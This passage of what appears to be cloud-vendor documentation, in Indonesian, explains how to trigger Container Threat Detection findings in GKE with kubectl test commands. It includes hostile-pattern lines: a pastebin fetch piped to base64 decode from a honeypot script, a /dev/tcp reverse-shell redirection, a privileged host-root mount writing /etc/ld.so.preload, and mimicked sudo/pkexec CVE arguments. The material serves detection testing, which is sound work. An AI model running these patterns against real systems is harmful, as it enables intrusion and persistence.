Untuk memicu temuan Impact: Remove Bulk Data From Disk, tempatkan program biner yang memiliki kapabilitas penghapusan atau penimpaan data di container Anda dan jalankan. Contoh ini menggunakan image Ubuntu 24.04 terbaru. Proses ini melibatkan penyalinan program biner /bin/ls dan penggantian nama salinan tersebut menjadi shred (atau aplikasi utilitas serupa yang dirancang untuk penghapusan file yang aman). Program biner yang diganti namanya kemudian dieksekusi. Tindakan ini ditandai sebagai mencurigakan karena meniru perilaku yang sering terlihat saat upaya dilakukan untuk menghapus sejumlah besar data dari disk dalam lingkungan yang dikontainerisasi.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses bidang kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Perkenalkan program biner penghapusan file atau data seperti shred dan jalankan:

    • Node x86:

      tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/shred; /tmp/shred"
      
    • Node ARM:

      tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/shred; /tmp/shred"
      

Prosedur pengujian ini membuat temuan Impact: Remove Bulk Data From Disk yang dapat Anda lihat di Security Command Center, dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Container Threat Detection. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center.

Dampak: Aktivitas penambangan kripto yang mencurigakan menggunakan Stratum Protocol

Untuk memicu temuan Impact: Suspicious crypto mining activity using the Stratum Protocol, biner harus dieksekusi dalam penampung dengan argumen yang menyerupai yang digunakan oleh software penambangan kripto yang berkomunikasi menggunakan protokol Stratum. Contoh ini menggunakan image Ubuntu 24.04 terbaru. Contoh ini menyalin /bin/ls dan mengganti nama salinan tersebut menjadi biner tiruan (mungkin untuk menyimulasikan penambang kripto). Biner yang diganti namanya ini kemudian dieksekusi dengan argumen yang mencakup stratum+tcp atau indikator protokol Stratum serupa. Aktivitas ini ditandai sebagai mencurigakan karena meniru pola komunikasi jaringan software penambangan kripto dalam lingkungan yang dikontainerisasi.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses bidang kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Memperkenalkan program biner utilitas seperti curl dan menjalankannya dengan argumen yang menyerupai yang digunakan oleh software penambangan kripto yang berkomunikasi menggunakan protokol Stratum:

    • Node x86:

      tag="ktd-test-detect-crypto-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"
      
    • Node ARM:

      tag="ktd-test-detect-crypto-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"
      

Prosedur pengujian ini membuat temuan Impact: Suspicious crypto mining activity using the Stratum Protocol yang dapat Anda lihat di Security Command Center, dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Container Threat Detection. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center.

Anda mungkin juga melihat temuan tambahan untuk perintah bash yang Anda jalankan dalam pengujian ini. Perilaku ini normal, dan Anda dapat mengabaikan temuan tambahan tersebut.

Skrip Berbahaya Dieksekusi

Untuk memicu temuan Skrip Berbahaya Dieksekusi, Anda dapat menjalankan skrip dalam prosedur berikut di container Anda.

Prosedur ini men-deploy image Ubuntu 24.04 terbaru, menyalin skrip yang tampak berbahaya, lalu mengeksekusinya. Untuk memicu deteksi, skrip harus tampak berbahaya bagi detektor.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses bidang kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Jalankan skrip berikut di penampung baru.

    Skrip Bourne shell inline ini berasal dari honeypot. Namun, skrip telah diubah sehingga tidak menjalankan program biner berbahaya, jadi menjalankan skrip tidak akan menyebabkan aktivitas berbahaya di penampung Anda. Biner di URL yang dirujuk mungkin telah dihapus dan upaya untuk membuka URL akan menghasilkan error 404. Hal ini sudah diperkirakan. Upaya untuk mendownload, mendekode, dan mengeksekusi biner menggunakan skrip inline adalah hal yang memicu deteksi.

    • Node x86:

      tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c \
            "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
      
    • Node ARM:

      tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- sh -c \
            "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
      

Prosedur pengujian ini membuat temuan Malicious Script Executed yang dapat Anda lihat di Security Command Center dan di Cloud Logging jika Anda telah mengonfigurasi logging untuk Container Threat Detection. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center.

URL Berbahaya Teramati

Untuk memicu temuan Malicious URL Observed, jalankan program biner dan berikan URL berbahaya sebagai argumen.

Contoh berikut men-deploy image Ubuntu 24.04 dan menjalankan /bin/curl untuk mengakses URL malware contoh dari layanan Safe Browsing.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses bidang kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Jalankan curl dan berikan URL berbahaya sebagai argumen:

    • Node x86:

      tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      url="https://testsafebrowsing.appspot.com/s/malware.html"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c "cp /bin/ls /tmp/curl; /tmp/curl $url 2> /dev/null || true"
      
    • Node ARM:

      tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      url="https://testsafebrowsing.appspot.com/s/malware.html"
      kubectl run \
            --restart=Never \
            --rm=true -i \
            --image marketplace.gcr.io/google/ubuntu2404:latest \
            --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
            {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
            "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
            "value": "arm64" } ]}}' \
            "$tag" -- sh -c "cp /bin/ls /tmp/curl; /tmp/curl $url 2> /dev/null || true"
      

Prosedur pengujian ini memicu temuan Malicious URL Observed yang dapat Anda lihat di Security Command Center dan, jika Anda telah mengonfigurasi Logging untuk Container Threat Detection, di Cloud Logging. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center di tingkat organisasi.

Persistensi: Mengubah ld.so.preload (Pratinjau)

Untuk memicu deteksi modifikasi ld.so.preload, ubah file /etc/ld.so.preload host. Contoh ini men-deploy image Ubuntu 24.04 terbaru, memasang sistem file root host ke dalam container, lalu memperbarui /etc/ld.so.preload.

Detektor ini adalah detektor pemantauan file dan memiliki persyaratan versi GKE tertentu.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses bidang kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Mengeksekusi biner yang mengubah file /etc/ld.so.preload host.

    • Node x86:

      tag="ktd-test-ld-preload-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never --rm=true -ti --image ubuntu "$tag"\
         --overrides='{"apiVersion": "v1", "spec": {
         "containers":[{"command": ["/bin/touch", "/host/etc/ld.so.preload"],
         "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
         "securityContext": {"privileged": true},
         "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
         "readOnly": false}]}],
         "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'
      
    • Node ARM:

      tag="ktd-test-ld-preload-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never --rm=true -ti --image ubuntu "$tag"\
         --overrides='{"apiVersion": "v1", "spec": {
         "containers":[{"command": ["/bin/touch", "/host/etc/ld.so.preload"],
         "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
         "securityContext": {"privileged": true},
         "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
         "readOnly": false}]}],
         "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
         "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" }] }}'
      

Prosedur pengujian ini memicu temuan modifikasi ld.so.preload yang dapat Anda lihat di Security Command Center dan, jika Anda telah mengonfigurasi Logging untuk Container Threat Detection, di Cloud Logging. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center di tingkat organisasi.

Eskalasi Akses: Penyalahgunaan Sudo untuk Eskalasi Akses (CVE-2019-14287)

Untuk memicu temuan Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287), jalankan program biner sudo dengan parameter -u#-1. Contoh ini menyalin program biner /bin/ls untuk meniru program biner sudo dan menjalankannya dengan parameter yang ditentukan.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses bidang kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Mulai biner dengan pengalihan /bin/echo ke DNS publik Google:

    • Node x86:

      tag="ktd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
         "cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10"
      
    • Node ARM:

      tag="ktd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
         "cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10"
      

Prosedur pengujian ini membuat temuan Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287) yang dapat Anda lihat di Security Command Center, dan di Cloud Logging jika Anda telah mengonfigurasi logging untuk Container Threat Detection. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center di tingkat organisasi.

Eskalasi Akses: Eksekusi Tanpa File di /dev/shm

Untuk memicu temuan Privilege Escalation: Fileless Execution in /dev/shm, proses harus dijalankan dari sistem file dalam memori /dev/shm. Contoh ini menggunakan image Ubuntu 24.04 terbaru. Utilitas /bin/echo disalin ke /dev/shm/echo. Biner yang diganti namanya ini kemudian dieksekusi. Eksekusi file di bawah /dev/shm ditandai sebagai mencurigakan karena meniru perilaku objek yang mencoba dieksekusi dalam memori untuk menghindari deteksi berbasis file.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses bidang kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Buat container yang memiliki hak istimewa dan jalankan program dari sistem file dalam memori:

    • Node x86:

      tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"spec": {"containers": [{"name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "command": ["bash", "-c", "cp /bin/echo /dev/shm/echo; chmod +x /dev/shm/echo; mount -o remount,exec /dev/shm; /dev/shm/echo \"Hello from /dev/shm\""]}]}}' \
         "$tag"
      
    • Node ARM:

      tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": {
         "containers": [{"name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "command": ["bash", "-c", "cp /bin/echo /dev/shm/echo; chmod +x /dev/shm/echo; mount -o remount,exec /dev/shm; /dev/shm/echo \"Hello from /dev/shm\""]}],
         "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag"
      

Prosedur pengujian ini membuat temuan Privilege Escalation: Fileless Execution in /dev/shm yang dapat Anda lihat di Security Command Center, dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Container Threat Detection. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center.

Eskalasi Akses: Kerentanan Eskalasi Akses Lokal Polkit (CVE-2021-4034)

Untuk memicu temuan Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034), jalankan program biner pkexec dengan variabel lingkungan GCONV_PATH yang ditetapkan sebagai pengguna non-root. Contoh ini menyalin program biner /bin/ls untuk meniru program biner pkexec dan mengeksekusinya dengan parameter yang ditentukan sebagai ID Pengguna 1000.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses bidang kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Mulai biner dengan pengalihan /bin/echo ke DNS publik Google:

    • Node x86:

      tag="ktd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": {
         "securityContext": { "runAsUser": 1000 }}}' \
         "$tag" -- bash -c \
         "cp /bin/ls /tmp/pkexec; GCONV_PATH=junk /tmp/pkexec; sleep 10"
      
    • Node ARM:

      tag="ktd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": {
         "securityContext": { "runAsUser": 1000 }, "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
         "cp /bin/ls /tmp/pkexec; GCONV_PATH=junk /tmp/pkexec; sleep 10"
      

Prosedur pengujian ini membuat temuan Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034) yang dapat Anda lihat di Security Command Center, dan di Cloud Logging jika Anda telah mengonfigurasi logging untuk Container Threat Detection. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center di tingkat organisasi.

Eskalasi Akses: Potensi Eskalasi Akses Sudo (CVE-2021-3156)

Untuk memicu temuan Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156), jalankan program biner sudo sebagai pengguna non-root dengan parameter -s dan parameter yang diakhiri dengan \`. This example copies the/bin/lsbinary to imitate thesudo` dan jalankan dengan parameter yang ditentukan.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses bidang kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Mulai biner dengan pengalihan /bin/echo ke DNS publik Google:

    • Node x86:

      tag="ktd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": {
         "securityContext": { "runAsUser": 1000 }}}' \
         "$tag" -- bash -c \
         'cp /bin/ls /tmp/sudo; /tmp/sudo -s "123\\"; sleep 10'
      
    • Node ARM:

      tag="ktd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": {
         "securityContext": { "runAsUser": 1000 },
         "nodeSelector": { "kubernetes.io/arch":"arm64" }, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
         'cp /bin/ls /tmp/sudo; /tmp/sudo -s "123\\"; sleep 10'
      

Prosedur pengujian ini membuat temuan Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156) yang dapat Anda lihat di Security Command Center, dan di Cloud Logging jika Anda telah mengonfigurasi logging untuk Container Threat Detection. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center di tingkat organisasi.

Reverse Shell

Untuk memicu temuan Reverse Shell, mulai biner dengan pengalihan stdin ke soket yang terhubung TCP. Contoh ini menyalin /bin/echo ke /tmp/sh, lalu memulai /tmp/sh dengan pengalihan ke Google Public DNS 8.8.8.8 di port DNS. Tidak ada yang dicetak saat Anda menjalankan contoh ini. Untuk mencegah injeksi kode eksternal melalui serangan man-in-the-middle (MITM), contoh ini tidak menggunakan program biner /bin/sh.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses bidang kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Mulai biner dengan pengalihan /bin/echo ke DNS publik Google:

    • Node x86:

      tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"
      
    • Node ARM:

      tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"
      

Prosedur pengujian ini membuat temuan Reverse Shell yang dapat Anda lihat di Security Command Center, dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Container Threat Detection. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center di tingkat organisasi.

Shell Turunan yang Tidak Terduga

Untuk menguji detektor Unexpected Child Shell, Anda dapat membuat pohon proses yang mencakup proses shell turunan.

Contoh berikut membuat pohon proses consul->dash, yang dapat dideteksi oleh detektor Unexpected Child Shell. Pengujian ini aman karena hanya menggunakan biner bawaan. Contoh ini melakukan hal berikut:

  1. Membuat salinan proses sh dan menamainya consul.
  2. Menyalin proses echo dan menamainya dash.
  3. Memanggil proses dash yang disalin dalam proses consul yang disalin.

Untuk memicu temuan Unexpected Child Shell, lakukan hal berikut:

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses bidang kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Gunakan proses consul tiruan untuk memanggil shell tiruan:

    • Node x86:

      tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -ti \
         --image ubuntu "$tag" \
         --command -- /bin/sh -c \
            'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
            /tmp/consul -c "/tmp/sh child ran successfully & wait"'
      
    • Node ARM:

      tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -ti \
         --image ubuntu \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" --command -- /bin/sh -c \
            'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
            /tmp/consul -c "/tmp/sh child ran successfully & wait"'
      

Prosedur pengujian ini membuat temuan Unexpected Child Shell yang dapat Anda lihat di Security Command Center. Jika Logging dikonfigurasi untuk Container Threat Detection dan Anda telah mengaktifkan Security Command Center Premium atau Enterprise di level organisasi, Anda juga dapat melihat temuan di Cloud Logging.

Untuk peredaman bising, saat Anda pertama kali membuat penampung, Container Threat Detection untuk sementara memfilter Unexpected Child Shell. Untuk melihat semua temuan Shell Anak yang Tidak Terduga saat menyiapkan container, beri awalan ktd-test pada nama container atau nama Pod Anda, seperti dalam contoh.

Langkah berikutnya